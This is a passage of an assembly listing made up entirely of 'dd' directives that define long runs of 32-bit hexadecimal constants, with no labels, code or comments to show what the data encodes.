51C76FF5h, 1C712265h, 0F36AC300h, 0AA96FEE1h, 92C7E42Eh dd 1815588Ch, 0FFC67448h, 444EC9DCh, 0FB2E8440h, 0A3223Ch dd 0D71A2061h, 91CB5F54h, 0DCD03E02h, 0E00BD103h, 2470E528h dd 11BC4CC8h, 16FE0733h, 0B9906C19h, 2492188Fh, 910DA3Bh dd 4C604DC9h, 38034AEDh, 3CDFD049h, 4B882231h, 0FBA00912h dd 0EEF94C8h, 3ACEA6D6h, 7132C740h, 4112AED7h, 78C738D9h dd 846A1A02h, 8CF240F0h, 7427D440h, 97C98011h, 0EC081400h dd 58A6D705h, 393E440h, 0F148CFC1h, 2682B881h, 51003C72h dd 186B3BE3h, 389A3Ch, 3EF837AAh, 143D0D67h, 51EF1898h dd 0E07DE998h, 11D725B3h, 86AB1420h, 2100026h, 3F490554h dd 334FDC9Eh, 17F95460h, 12670075h, 0B5C17038h, 0E70C4A77h dd 48A6190Ah, 27FEB805h, 0A0209C3Ah, 0A92F9D66h, 326CF00h dd 6879C6D6h, 45EC92FEh, 0D898EDE8h, 430E1F7Ch, 40EFCBE0h dd 0FE4F309Ch, 2C9C91FCh, 9D506034h, 481DE46Fh, 1BC13212h dd 21A02E4Dh, 0C0D23C41h, 176401DCh, 447A61AFh, 82DCAE98h dd 0F482EDC8h, 2624C169h, 0C880B4h, 0AA929366h, 47112130h dd 37A20B00h, 27AD2E28h, 0FBB000D6h, 0A9C3769Dh, 0FA07FC4Dh dd 0FDCC36C0h, 0D4788080h, 2A18C6AEh, 0E4F808D8h, 359D0700h dd 6DC83E25h, 0B2FA00F3h, 658B6460h, 5E30DDA3h, 0CB4D40F7h dd 68E0C0h, 951DFF51h, 36C101C2h, 0A90CFC75h, 61960E25h dd 1B56006Eh, 699FE587h, 13002BE2h, 0BBAB83CEh, 795FFC25h dd 8FF13D60h, 900EC38Ch, 7D00EA39h, 0BFDBFF7Fh, 1EF5980h dd 3CCB50EEh, 20555779h, 39C79BE5h, 63D108B3h, 2BCCA732h dd 19EE03ECh, 8A35FF8Dh, 0F5AB5105h, 0EA806701h, 77113B42h dd 0DEFF0004h, 43DA6DA4h, 7158B44h, 88AB2Bh, 60DF5BCFh dd 62BC41h, 0DD2D536Ch, 0F703EC0Bh, 0ACB39C3h, 0ED3103D3h dd 8C42CD7Fh, 26411118h, 3F49A908h, 0D680FAF2h, 32BB5F1Eh dd 0B1EC45BAh, 57338DF2h, 86D29F9h, 0E44B0460h, 0C18C358Dh dd 73BB65F0h, 7B5F0039h, 0EF725A62h, 130C44C7h, 29D5789Dh dd 0E8A425h, 7A5033E3h, 2FB2EBEEh, 0E072D8FDh, 69AA831Eh dd 3080089Ah, 60628084h, 0C19D49A7h, 0F18E90Dh, 0F5A18741h dd 4F90E2h, 0D5B877B0h, 749EA786h, 0D08F3700h, 63DBEA5Ch dd 776C00AFh, 0A7CB296h, 0BB24D78Eh, 28841CF6h, 2087B6A8h dd 5865AC7Fh, 7DEB01C9h, 359CC0EFh, 81404096h, 5200CFF9h dd 0B373174h, 9EE9960h, 5FBDF262h, 0E1BE3400h, 0CD34D789h dd 0C80861F9h, 0B5D68FA7h, 0BDA1978h, 13B6470Ch, 3A8618Eh dd 0BE53FE79h, 0B0D6B1BFh, 0FFDD2E01h, 910EF263h, 38802980h dd 0EE365435h, 1FA77607h, 0FE1D8A4h, 402424C4h, 57E56h dd 42E79560h, 62773794h, 0DA53DB1Ch, 0DD3BEC00h, 7971F279h dd 0B4D21ED3h, 0F8BE8086h, 0E4B829E5h, 4F0C0BECh, 798D0EB5h dd 1C300010h, 94923C37h, 7C032499h, 0AC60FF62h, 36C4887Dh dd 9B7F3Bh, 0B9783D29h dd 0D9FF9825h, 202DBF30h, 40A98E52h, 6E906CEBh, 0A4C58604h dd 4D05B0Ah, 0FF29F4Dh, 5E6540A0h, 0B1251D40h, 0EC00AF42h dd 318790D5h, 3C268B8h, 2DBEE9E0h, 9BB03DA3h, 9E76AC62h dd 281DC401h, 0AB947F42h, 6C50F03Fh, 5DB88D77h, 0FD3FFA07h dd 0F5307638h, 614B9DC9h, 5C8CE1DFh, 232C2582h, 1D5D002Ch dd 59FDFC9h, 0CA240081h, 45BDACB2h, 5E076E43h, 8C4CC340h dd 287B79B0h, 0FFDF0019h, 3012C0B3h, 200E5E2h, 597DFC72h dd 7849AF6h, 752E298Eh, 0ED822147h, 4056CDE7h, 54E04090h dd 0EED0EB00h, 3A4DC7FEh, 0A86354B2h, 68433052h, 0BFCD9528h dd 0A9D34F06h, 7D20DD81h, 381C2039h, 30C35200h, 433163BBh dd 5BC718DAh, 4072D1F1h, 5974C1E8h, 0A1B84901h, 0A2ED3BA7h dd 2D88D0h, 26A97A84h, 9EEC07AEh, 0D7182890h, 0CB41D4B5h dd 68A8490Bh, 5B2A51Dh, 44395D8Dh, 0C84B809Ch, 554D8C70h dd 6E2A8324h, 0D682BFB4h, 0FE9046A7h, 0B24284A1h, 0FBFA3500h dd 775537D5h, 6407D974h, 5F49B9F4h, 0F62B184Ch, 9ADE00A3h dd 23AB6CC0h, 5C0C2D74h, 30B1F403h, 0DBAC034Fh, 30B31777h dd 0D54038h, 36E2AF92h, 7EB2F56h, 9D2CB053h, 58F5E607h dd 0D117641Eh, 0E44F5C40h, 3CBA3DBh, 0FAC56616h, 4901395Ah dd 0C681EB17h, 91805449h, 0FFB1EE1Dh, 0A7001ABAh, 0CF8CB5ADh dd 62CD4B0h, 7D541116h, 0F500C991h, 0B4B16A72h, 3E3F1DCh dd 0F8716EFBh, 61006FB6h, 0E7055020h, 796C8411h, 0E4421E17h dd 0EFC4800Ah, 6DA8EA66h, 0F651AC60h, 1998514h, 17E8F835h dd 0FCDAE974h, 0D8007DC6h, 3911476Bh, 60B708E5h, 83C4B15Ch dd 150296E1h, 6BCFFEC2h, 4FB8A2E4h, 4B62305h, 2C919103h dd 8842A819h, 870EB9h, 977A78E8h, 0C67C727Eh, 5E9FA206h dd 612776h, 0EA519301h, 0E959D817h, 6EBD08C0h, 0C0066F6Bh dd 20E76361h, 1A0371A8h, 0C3EAC25Ch, 0E92FD819h, 0FE66000Ch dd 0D8CF5632h, 41E762D5h, 50F78380h, 1410EED4h, 0DEE3B400h dd 663379CFh, 81D86007h, 8516DF64h, 9CF9C62Ah, 79AF9930h dd 0EB5332h, 0F0397CC0h, 551B7230h, 60D8A1Ch, 17C77641h dd 4980A983h, 0FDC02BB7h, 0F0E0CFAh, 0B26FD0h, 5D139F3Dh dd 6673036Ah, 0B9790ACh, 4F676100h, 0C7119F1Ah, 0C2D400AAh dd 0B7DBE022h, 0ECF570B5h, 1415C8D7h, 3A987736h, 43D806ECh dd 0C13049h, 853FA8C8h, 3B8C1620h, 5F891700h, 0B52B910Fh dd 3D9C7850h, 0D800B37Fh, 74BCE940h, 0D8A83853h, 0F9009CB6h dd 0E0232DD0h, 0A426B005h, 2487BFCh, 0F99CA1Fh, 0F4846BC0h dd 0A7BB4008h, 0F8B030Eh, 0BCB92DC7h, 0BD3E6C20h, 0EFF8D76Fh dd 0DADD7B00h, 0DEEC1BCFh, 89A31437h, 0F82298B1h, 86FB4E00h dd 115C4B6Dh, 401400FEh, 996BEACAh, 0D0FCD3B3h, 0F926A11Fh dd 39E13887h, 90275483h, 0F67A1EE5h, 20DB0F91h, 86035D3h dd 0E396F28Eh, 17BB4F06h, 3F69FA82h, 0BF1FF521h, 0CAB4C04Dh dd 8BD3631h, 0C52FA8A8h, 54175D05h, 0CC569373h, 846A310Ah dd 13C0689Ch, 0C74CD32h, 1E2F70DBh, 0C8C61Ah, 252E2D17h dd 73601241h, 8FEA4A28h, 5E49C2DAh, 0DD252762h, 0A2C38001h dd 0A091BA01h, 863D0FCCh, 6100F708h, 44D98321h, 0D7B01BEh dd 14D33B5Bh, 70A088FEh, 6B8E42D8h, 446CCB22h, 85920FF0h dd 40DE87AAh, 0CC1D5BA3h, 1AFE51D4h, 95D1CA00h, 824EEB14h dd 2947F01Ch, 80946D27h, 238B9285h, 0F913FE59h, 6C007076h dd 0B1774CF1h, 90DCA4C0h, 2420A495h, 6DC0FEAh, 21FD0107h dd 9F7E21E9h, 0C1140221h, 0D353011Ch, 0B4542007h, 2EC57C4h dd 78AC7C55h, 8829CB1h, 1483AB74h, 0E9785E4Ch, 0EA00BAE8h dd 23B8AF2Eh, 1E1A67h, 45DCCDEFh, 51FB4BE9h, 3BF284A8h dd 332750A1h, 0BB6182Ch, 37A419h, 0E843B444h, 194EA004h dd 0F742939h, 0E76427AEh, 0FAB210C1h, 0C9EC63A2h, 0FCD04CC5h dd 7D70006Fh, 57AB0F89h, 0E76FEB02h, 8197ACE1h, 0D773D2Fh dd 0EEC8538Bh, 185C0206h, 4154E080h, 0C5280460h, 0F8249FCh dd 0E08301DAh, 0B0B64800h, 2A30B54Dh, 0CC60EE7h, 199400D5h dd 6377EBB9h, 8000F539h, 5C85032Ah, 513EC6h, 0C5581A5Fh dd 0F887DAD7h, 0ECD3B11Eh, 89590103h, 820800D2h, 6494F180h dd 0AF03C17Bh, 33198AD7h, 0AD291DEDh, 0E003C004h, 824F2390h dd 0E3344D00h, 0A9979CD1h, 28C4E8D0h, 22888C7h, 5BB4C163h dd 0A2E0D366h, 68A05CAFh, 59C2EF30h, 0E05874CAh, 38DBA407h dd 1C7CF9B2h, 7526B94h, 39607E5h, 3100E430h, 797ADEDCh dd 0FF85CFh, 979B2250h, 0BE0CE67Ch, 0D0376303h, 0D341E8A4h dd 0DA8800B2h, 0CC033597h, 0FF3922EDh, 0C5040063h, 6473B89Eh dd 5B1100E5h, 499A0733h, 0C1D4E065h, 58462895h, 0CE844h dd 9BBADAEh, 0D847025Eh, 9879DE0Ch, 0BD0201Bh, 4989B1EDh dd 0AF49568Ch, 0D428322h, 0E9EF20B9h, 6E94F42Ah, 0B7A108C0h dd 18D7B37Eh, 39C47349h, 5607A541h, 0DB8FB6F5h, 0FA19D666h dd 28573079h, 0B1E5D050h, 0E6448401h, 10AEB9A4h, 31D83B20h dd 7D11A5CFh, 438450DAh, 0CEF22B95h, 3226AD00h, 0CAA746D6h dd 79881873h, 435D61D1h, 480C8071h, 0F9EA3389h, 9C409598h dd 0EB010ECAh, 857068B7h, 21BAE507h, 2E024983h, 0D3E0B6CCh dd 0A139B115h, 0F9DC0AD9h, 26808050h, 0D7317356h, 8A680C77h dd 9641F133h, 70D2CC00h, 0FD2A4F35h, 13CA0014h, 2E053CB3h dd 0E5065F55h, 0DA6F46A4h, 3D5A7DA9h, 0EB1EF2BAh, 8B5C0FBBh dd 0E5DF1540h, 0F90194DDh, 8CE474DAh, 0BDD4F4ACh, 0F3470AB0h dd 8688A351h, 5180D8B6h, 0AD04B578h, 405358E5h, 902EB1C1h dd 145D54E0h, 0C0ABDB3Eh, 445E5B80h, 0FD07816Bh, 2FE0B48Dh dd 0D8E18Ch, 4373A5ABh, 0DB1BC52Ch, 0AD089350h, 295FFF30h dd 393D9CFCh, 560052F6h, 0CC4ACF15h, 891B5D7Bh, 0B68E8C0h dd 1AFB16F0h, 29F37901h, 84B9A204h, 28E5C544h, 6B8DDECh dd 0D1A1D371h, 45E0291Dh, 0E42E71C1h, 702085B1h, 0E4FA89ABh dd 0C08381C4h, 92A7E522h, 128B4638h, 842C5FAFh, 0E9A400E0h dd 0FDD0E1DFh, 0E5182556h, 0BC295CFFh, 0B8AB1C68h, 12DC8004h dd 152550C2h, 0D7557090h, 0F310F240h, 0D470AB53h, 0D377A480h dd 424529A7h, 204792B0h, 0E5B05754h, 5ADE5E12h, 5F158001h dd 1044E438h, 19E8433h, 11EFF920h, 21CC1464h, 7DA0080Ch dd 9B29D863h, 2D71C845h, 3672009Ch, 7CBEFA12h, 1C907D93h dd 8672D942h, 8D839238h, 2103A0EDh, 87FA46F1h, 6FA0DE30h dd 50C85F27h, 449DA847h, 6C00A07Ah, 1EC00D38h, 0A0D0B6DFh dd 0AE5BA2Ch, 964349D3h, 0AF0A3FCCh, 830515Ah, 4185C46Ch dd 1C0CD9B7h, 0E3F79CB9h, 6AD9081h, 20723399h, 4670BD8Ch dd 3902F930h, 4894C75Fh, 81298CA0h, 64DF003Ch, 0E44D9054h dd 5C9EAE15h, 7CDC226Ch, 195860AFh, 0B77DB156h, 0F770C083h dd 0DF970073h, 0A880400Ah, 7201D4CDh, 0D724906Eh, 28415E5Ch dd 7D11AA06h, 0F14180DBh, 57C52C0h, 0A9A60718h, 30A54629h dd 0B96A9213h, 88520372h, 6FAC04F4h, 19827751h, 5BDA417Eh dd 0A0A0D3E4h, 250BAB8h, 15E42B19h, 0D780DB8Ch, 0BD2148B1h dd 0AA50EE78h, 0D1504508h, 0B76B814h, 96A0600h, 21E79280h dd 0C0FEFCF2h, 0E6EC5CA0h, 0C548B1FBh, 61228E24h, 2B20A37Bh dd 0A01DF3C4h, 327854C0h, 8CA806DEh, 5DF2D4C0h, 0B6E9DC61h dd 0C02387C2h, 0C46D8D14h dd 5C4B009Dh, 0FDB96F45h, 0C6C8D848h, 41B37Dh, 5BB61037h dd 39B9256Bh, 0DF0A500h, 0BD184566h, 1DAB16FCh, 0B8E4000Bh dd 0D8A38C6Eh, 0C187A91Eh, 5198370Ch, 7BC06DAh, 20D3FA5Fh dd 30A7E813h, 6F0EFC20h, 8875097Fh, 1082BF5Dh, 0A842555Fh dd 0F31041F7h, 98A044D2h, 937F0364h, 3D97DB16h, 0E50EEBB0h dd 0E933470Bh, 4444107Ch, 0C7F807A3h, 0A0F228C2h, 0F5AA8A9Ch dd 0C4189728h, 65170A78h, 1430900Ch, 77D4F3C6h, 5F2B1D1Ah dd 0A711C7D3h, 7450B293h, 0E852E866h, 5FD712C8h, 20A05020h dd 44F80A53h, 24A8A969h, 74803F74h, 978CE581h, 5798A16Dh dd 0E915B91Fh, 4048E617h, 70613701h, 0E73065E3h, 0AE152098h dd 7AD8F69Dh, 1479EB60h, 0BD7FBD4h, 3C84A59Ch, 89699010h dd 0F16CFD00h, 4196D28Eh, 0D81F0048h, 2F3EE48Ch, 0FC175D80h dd 1C20888Fh, 4B1961Ah, 743A3019h, 490858Dh, 41A95020h dd 0D48987A1h, 6A053181h, 8103308Ah, 867FD5B2h, 0FA30FEEAh dd 0B8234CB9h, 2B90DD21h, 82AAB8C5h, 14627F8Ch, 0C4B60C02h dd 0AC044866h, 0B5586A2Bh, 0BC40C4C0h, 1A9901E4h, 88DBFCC4h dd 0F81185BDh, 0BC4072FFh, 14E58637h, 0B73200ABh, 0D960CC1Ch dd 2500176Dh, 0B57CAAC3h, 0C275FFF0h, 0BE481D31h, 62A05540h dd 0CF68D200h, 0F56EFEB0h, 90D90747h, 0A08DC80Fh, 0B339EABEh dd 3D455E00h, 74C65C17h, 0E0B600A1h, 3FF0522Ah, 0B700737Ch dd 0E93D87F8h, 4578AA2h, 0AC882C68h, 9D00FE30h, 0B08E170Fh dd 5AC100C5h, 0D645238Bh, 6600FBCDh, 9B93D8CFh, 12EF38h dd 80B6D25Dh, 21578C68h, 9D0E5A1Dh, 0BD050917h, 74C3450Bh dd 39FFA03Eh, 0C0EB00FBh, 0ECF0BDB8h, 545C74D3h, 0EE5E8048h dd 2E044BBEh, 3615A1h, 2FBB4ADh, 1C1601E2h, 78205BE8h dd 0F2DE33h, 84B68391h, 0A5FEBD86h, 44E0221Fh, 45E4AD40h dd 12210D04h, 90305E2Bh, 823DEBECh, 9A729007h, 0EE80E787h dd 94312FA3h, 23AA4008h, 0BA00397Ch, 0D7728707h, 70616B6h dd 74FCB8A6h, 0AF9350F8h, 1C921480h, 5FF2B908h, 80A39E1Dh dd 9687E5ABh, 92479DDh, 4B08500Fh, 73468458h, 84AF46DFh dd 1327F019h, 40DBF67Eh, 6E20C844h, 6F0070B9h, 4C5A0C1Dh dd 28948C9h, 0E8FB1BD3h, 0F864788Bh, 0DD4CACB0h, 48412F7h dd 44F3B020h, 0D099CA07h, 828DC5B8h, 1482F0D8h, 0FC23D55Ch dd 0B09100AEh, 0B68F40E0h, 0C8347D8Eh, 3CA2C17Ah, 0F907F23Eh dd 804DDFD7h, 0A4A3C48Ch, 0C77B3013h, 0A088F006h, 46E10FA1h dd 0B0A051ECh, 95F54E9Dh, 527E4100h, 0E371AB15h, 0ED84B86Dh dd 9007D13h, 967833DAh, 4CDB5DEDh, 0E69DF88Dh, 0FD03BC44h dd 659BE1C9h, 364B01FFh, 0A402C478h, 9040A154h, 4E243200h dd 1268B518h, 9FFE0Ah, 0AF899B7Bh, 0B81D84E0h, 0C4F8D648h dd 1004BFCh, 945D1879h, 1DE57D00h, 0B0E809Bh, 157001E3h dd 415169ACh, 6A46F49Dh, 25ECA152h, 10145Bh, 0C38F4704h dd 66F5D5A5h, 2AE37600h, 690FE47Eh, 5ECB80Bh, 0B619B8D2h dd 3A188089h, 58035CA1h, 41442285h, 0F8C08573h, 2842B7h dd 8AF1C536h, 0EFB86AC8h, 7533171Dh, 17C8954h, 0D22341E7h dd 9020E85Fh, 36C80185h, 4021FED9h, 49F0F870h, 8A8F7B0Ah dd 2740EC33h, 7F25E32Eh, 8E5C99B5h, 608058A5h, 0A6495542h dd 0ECE99D00h, 3914B3B0h, 0D2441C9Bh, 0F348C485h, 0EB3C8C52h dd 187DAA2Ch, 0EA336840h, 85370A5Ah, 47B83869h, 81E926B6h dd 244C490h, 0D4BC90A1h, 0AF3D9480h, 8CC01926h, 2C31F630h dd 6D3FD878h, 0C1488047h, 67449A2h, 4FF20584h, 763067h dd 259BC3A8h, 0AE187E6Dh, 0B949CD80h, 60AA78BDh, 327E947h dd 5500B17Fh, 481E9F20h, 28B89828h, 38BCB08h, 0A2F80D5Bh dd 87981C50h, 0D017DDAEh, 0C030C484h, 3A9E8FC5h, 19247A66h dd 9CC04FC8h, 0A8C1B5EBh, 19AF0438h, 0A611E974h, 6E5C6850h dd 0FD3F006Ch, 0CE091194h, 38004AFBh, 0CDBA5087h, 93609A59h dd 0A5AE1FE8h, 0DF6E4810h, 9C0CBF85h, 0D930CFE9h, 6F95060Bh dd 0FAA4B8A9h, 99FFh, 91EFCC6Dh, 41F6C5B8h, 0E5C9990Bh dd 5CE0079Dh, 7D58C20Eh, 0C2D4A0B6h, 2CA71Ch, 656625D5h dd 314B62ECh, 3F51F71Ch, 99D08B25h, 7844DFD0h, 87D8CCh dd 0DA0D9C9Dh, 0CC58F27Ch, 974D9000h, 37B7E165h, 0A85F05E4h dd 8855D723h, 0CE09AD08h, 224C2B51h, 23F7C724h, 5970A989h dd 2900337Ch, 61FA5C69h, 582AD16Bh, 0AC41A19Dh, 0E0DE17E8h dd 19A5002Dh, 42A7C1E7h, 75CFC65h, 71488D6Ch, 1B00B473h dd 58EDBF64h, 0FC001FBEh, 92E8A7E6h, 0E8EB43B5h, 0A07200FAh dd 0BBD72B5Eh, 5954AE4Ch, 0DF00CC5Ch, 0C4F6511Dh, 50439E19h dd 16D108D6h, 225CF2B6h, 5044FC4Ch, 0CAAFB500h, 28B722CFh dd 1EE524C0h, 84501000h, 0FA41D369h, 4888B8A7h, 7000D484h dd 72FBDC9Bh, 2116DB4h, 93660EBCh, 68C42CFFh, 6528797Dh dd 8022B478h, 9E4670AEh, 2C70A634h, 2624CAE4h, 0C460984h dd 4C0060E4h, 6C769F55h, 31F9A44h, 9293EF06h, 6E90073Eh dd 5F38AF20h, 109F2631h, 0E5A9414Eh, 5ECCA856h, 58B0775Dh dd 7C800C89h, 0B61264AFh, 6C920C09h, 608B8088h, 1BF9A24h dd 0AF236BE3h, 38B19DD0h, 2EBE8000h, 81EE6733h, 343230h dd 37078E5Bh, 0F39570Fh, 0B6D0FE0Dh, 103992CDh, 0B432D3Ch dd 9F2ECA1Fh, 0D6241CC0h, 0FCFD07h, 715897D9h, 0E609336Ah dd 5D02889Ch, 667FE5C8h, 8D0F0908h, 8C944F2h, 24D822FCh dd 0DC00DEADh, 6F2BDBCCh, 0DF7B00CAh, 917EB293h, 2017D378h dd 0E400F28Fh, 0D07F545h, 70A7165Dh, 46B800D9h, 0DABF6A7Bh dd 0A5E5AE09h, 21ECE4DCh, 0D9093250h, 420464EEh, 89007C36h dd 4387A73Ch, 2F2ACB6Fh, 75FC4209h, 36032100h, 8C57F0h dd 2689925Bh, 0A6AD6C4Bh, 6F264674h, 5D441C06h, 0B9895249h dd 71029100h, 0E00B577h, 0B36ABEF6h, 31DCA7E0h, 0E41A276Ch dd 7E88487Ch, 0DB2CA8F8h, 793AD647h, 3C101A00h, 0AE6FF71Fh dd 4EF49C5Bh, 740C508h, 9C2EF23Bh, 5B0AC00h, 0FD4A7Bh dd 80D4FF48h, 0F009117h, 0F2F51942h, 26D0A48Ch, 8FA0F86Ch dd 44E084E5h, 71432515h, 8AB3D804h, 40802B20h, 29275D31h dd 2E840DBh, 6B44475Bh, 0EC027C42h, 0E927075Dh, 8CB6F540h dd 0C5AC98C5h, 0FA2291h, 45DC8B60h, 5F786541h, 954A41Fh dd 9C89B94h, 98E5905Dh, 7A2F25Ch, 0B943FAF5h, 0B0B3E0B5h dd 350A6E52h, 0E815DAB1h, 71472842h, 82F3000Ch, 4135FE39h dd 5C4EC300h, 6EBB8A9Bh, 0B643EA38h, 6D490908h, 6307C899h dd 643C9608h, 76B0C3h, 57295F84h, 83527C08h, 0B0EF8F24h dd 0B800424h, 285092DBh, 0E5290FB2h, 5A8538F7h, 30D422B0h dd 0E0034844h, 8DA8B102h, 0EACCF854h, 0B2E80FF9h, 2E82E523h dd 0C84EC518h, 0C7A1100h, 0F3440AE6h, 20F39AEh, 5864B080h dd 1A8E619Bh, 5186C705h, 0C91E25Fh, 2210EBC2h, 8D042FFCh dd 0A797E513h, 0F90330E2h, 0AAF33672h, 0C8A8EFB1h, 865EF07Ch dd 80732C20h, 0A3DE1223h, 0C73088FCh, 66D44200h, 9F6457CCh dd 0F51400CBh, 0E5BBD176h, 0D813BE0Ch, 3005A118h, 4441EEDDh dd 51F20555h, 62933C38h, 0C851E53Ch, 0A6D6BC00h, 0E0F3672Dh dd 20B90241h, 8244F845h, 887150B2h, 29E7BD00h, 0FA455C86h dd 3A0E00ABh, 9A6A4AA4h, 0F501A138h, 0B1084FD2h, 0B4481BDCh dd 0DB0F88D5h, 0D3069D00h dd 0F5935B76h, 50707602h, 1F56EFC1h, 49B9A42Bh, 980089ADh dd 0B3A887FAh, 0F2D2B0A0h, 0B860D0B6h, 5B1BFE4h, 0ACD1F4B5h dd 4D40086h, 71CDCC11h, 89D2F800h, 813649E3h, 1B8B1FCh dd 0D88F7FD5h, 211C47Ch, 7BCFAF3Eh, 6027C700h, 8D5BB83Ah dd 8249518Bh, 40E0B992h, 9EFD8178h, 852E7668h, 9B69C411h dd 0E6ECF938h, 7CF83821h, 0BCBA5048h, 4404B0C4h, 1E09B9B7h dd 11BC75Bh, 91064670h, 0FD41D986h, 0BF00A95Ah, 6337CD86h dd 2999031h, 5BC261ADh, 1C84EAD3h, 0C88563Dh, 0ACE002Eh dd 5B3FE4EAh, 19033467h, 12741DAFh, 1A41214Ch, 229C5D10h dd 6CEB4A03h, 0A06BE0C3h, 49A5E338h, 3457781Dh, 57F21108h dd 8DB65661h, 0D18BC83Dh, 445E0448h, 0A6B4961Eh, 492BA0Eh dd 94E2CC55h, 49763F00h, 9529565Ch, 9FDC0502h, 44FD430Eh dd 8D220058h, 0A97E4DBBh, 0DF26835Dh, 43801018h, 0E2C11272h dd 4A584BAEh, 5831B4h, 0C3B367AAh, 84049E49h, 4B22430Ah dd 0B8063084h, 26281CEAh, 41606446h, 0DCCF588Dh, 472FCA71h dd 0C0601022h, 96E8009Ah, 46121767h, 0A97F055Dh, 5474EF0Fh dd 223620D7h, 4C3501E5h, 0D5803088h, 0F15F67C3h, 80BA953Ah dd 0AF4CE74Fh, 941BABh, 0B2D256F6h, 7CFB9906h, 54907883h dd 38FAB0ACh, 8C008EE8h, 1B20115Ch, 0EE52EB83h, 0F0B67EE4h dd 0E4C6A9E0h, 986F001Ch, 0B77F398Dh, 8318C387h, 6539E8BBh dd 0AC0085BFh, 441340DFh, 3A801D26h, 7D9583C4h, 201456D0h dd 80AC33ECh, 58AA572Bh, 0BDFCCEh, 0EBB6E669h, 0BF1865EDh dd 80057494h, 44E581DEh, 0A60EB433h, 8587B6D9h, 1843400Eh dd 53022194h, 0A1CC172Bh, 513CC003h, 0B699C497h, 2F94ADDBh dd 0F70A089h, 158F8DDh, 774EABBh, 4C477B99h, 7D89A2A0h dd 0D6132C7Dh, 294C0316h, 0C2D8B45Dh, 401A6CDh, 0A64DF8Dh dd 94344DC1h, 9C3F8846h, 19AC4E03h, 80A5C97Bh, 4C0D1CE2h dd 8700DA12h, 8C29101Eh, 10956549h, 0E071B9Ch, 83FC8D20h dd 0B8060B3Fh, 421D5804h, 46A87EB6h, 11D002BCh, 0BF316A37h dd 0C9EFF0A1h, 94CF13A1h, 0FD80E509h, 0DBF1BBBAh, 0B43B700h dd 9DE4E845h, 12B5F6Fh, 80AF8180h, 64BC489Eh, 607DD744h dd 6C2171DDh, 0FD3D8CE7h, 3F698092h, 6A51FEA0h, 10F892D1h dd 0DCDAF4C4h, 17ED6C30h, 60E44C78h, 8CD38505h, 1DC83058h dd 0A21DC43Ch, 0BD83C0CAh, 25AFD248h, 88C5DCF1h, 93E71601h dd 9F86F8Dh, 6B508D4h, 0C380E433h, 0F687B198h, 1B2B095Ah dd 0C11A0F0h, 0FCD05202h, 3B0084E4h, 1560C2A4h, 2AA5E896h dd 18880BC4h, 0F9AC50F3h, 6E7857E9h, 1470BF24h, 712A82Ch dd 0B8AF70D3h, 9EF21Dh, 4D30BB5Eh, 81208BFAh, 0BA03EE00h dd 74138460h, 0FE6E4CBh, 0AB857DB1h, 389910E0h, 8F4897C8h dd 24C42204h, 22A1AA8Dh, 0ECE44444h, 0B464DD0Bh, 0BECC2796h dd 0ED4EAFA7h, 0F8002060h, 18C9FC8h, 5D7A7EB8h, 60ACFC3Bh dd 0E5645F7Ch, 0C6320FE0h, 68581013h, 207C27E3h, 9E8F46A8h dd 0CC700749h, 0F063C8A5h, 0F24E8BE3h, 7100CA7Eh, 76DB760h dd 1A2AE8h, 295EBE93h, 2DBB9852h, 0C0E4AE1Ch, 0AB70C241h dd 2039FFA2h, 0CF87751Dh, 51445AB5h, 0C9208C52h, 982EBA88h dd 68D24858h, 7A7C205Eh, 887AC778h, 87BF3D0Bh, 0D0E4EB43h dd 0EE21B6EEh, 0F28B16C0h, 0C5342450h, 6E5408C4h, 89452764h dd 38BC40AFh, 39170B1Fh, 143F5C00h, 368F9ED0h, 993FE35h dd 5143506Fh, 0A4310024h, 49035F44h, 0E9C314B0h, 0EADBF086h dd 208D0985h, 0B4C887D7h, 9B5F36A1h, 5E70EC27h, 0C074FCFAh dd 0D8E04121h, 0C5006B8Bh, 0A13FF172h, 1A53BFh, 60EAECAFh dd 490DADC4h, 82796E60h, 281D84F8h, 43ECF0BBh, 1391223Fh dd 28EC2EB6h, 0E5030D80h, 0EBFAA5A2h, 23D81144h, 0B1670F43h dd 2062615Ah, 604125E3h, 0F2C7A358h, 41B056DDh, 2AD6831Eh dd 0C0BFC13h, 49C6EB4h, 0F57BBDA2h, 0D03081F3h, 77E5001Eh dd 46F201B6h, 0E0B8BBF6h, 0B334502Fh, 9895A4ADh, 2214568h dd 8531FA33h, 6449FD68h, 89BB0C07h, 8472FCh, 0FFCD0E37h dd 1B0E6EDh, 539894D5h, 20801783h, 5A3AA028h, 0C18189EAh dd 9071EFh, 38CCC0ACh, 20229E2h, 0F08A68ADh, 5F50C07Fh dd 854C4459h, 94B695h, 910B879h, 0D7518078h, 0F306980Ch dd 0B2EB8052h, 0A80722A4h, 0A287FA00h, 0B10D4F7Dh, 0A7E50921h dd 6C187EB2h, 0F2128D26h, 0E8A2DC29h, 0B1936E01h, 41E4417Eh dd 32566F88h, 10BCD05Ch, 8A5807BCh, 2118CE4Ah, 240F265Fh dd 82C54444h, 0C45288A8h, 0AC2BA100h, 5C71B32Eh, 3F5A00B4h dd 0EF09CE40h, 6F4CBB0Fh, 44772A5Ch, 58589528h, 4C3C7948h dd 0A4D21E44h, 1DDC6484h, 21D938D2h, 0E8A5B810h, 2E1D3D14h dd 6D00B11Ah, 7EB5FAB9h, 48BE00DAh, 0D6154555h, 0BC00B3E0h dd 9D93019Ah, 4850ADC0h, 6C5CAC07h, 0E7601480h, 77003578h dd 0C20B4631h, 2C1A6228h, 1298C7D5h, 0AD6031C6h, 71383904h dd 0B0705489h, 11404247h, 0DE261165h, 41302C24h, 731E45F3h dd 0E8545F3Ch, 77CF10B0h, 0A053684Ch, 302BAC12h, 0A4F9937Ch dd 8840305Fh, 3D09B1F2h, 11500038h, 18A29935h, 68000595h dd 0D703F3DEh, 0B8200A2Eh, 0D3A32180h, 81BC9F94h, 0F126D81Fh dd 395A22E0h, 324A2BEDh, 8C61B8C0h, 84CE0CCAh, 67A944h dd 0C98AD263h, 5EAC9AAFh, 13005C78h, 4C755F0h, 1847B0A8h dd 592AEBBAh, 0DB0E7306h, 0B7A4F8h, 7428E878h, 0C2A70427h dd 0BCC8507Ch, 16B639F4h, 890D3E3h, 0B830522Eh, 14A4E690h dd 0C0B8A1C3h, 9E725B10h, 107D108h, 83C4AB41h, 22382252h dd 80C4B170h, 84DC9E39h, 0B50120F2h, 0FF440C4Dh, 60EEE5A6h dd 82873B08h, 8B00D0F9h, 9082BFABh, 0C7D9010Ch, 0AE37733Eh dd 8FFCCBEDh, 0C45B23A0h, 0E7C340DDh, 9FF805Eh, 517DEDF4h dd 5DF3DC02h, 0F023C311h, 0A8601F70h, 0A2291251h, 33FF808Ch dd 28B4EA18h, 9C4E595h, 47B16C98h, 0AD1C9CC4h, 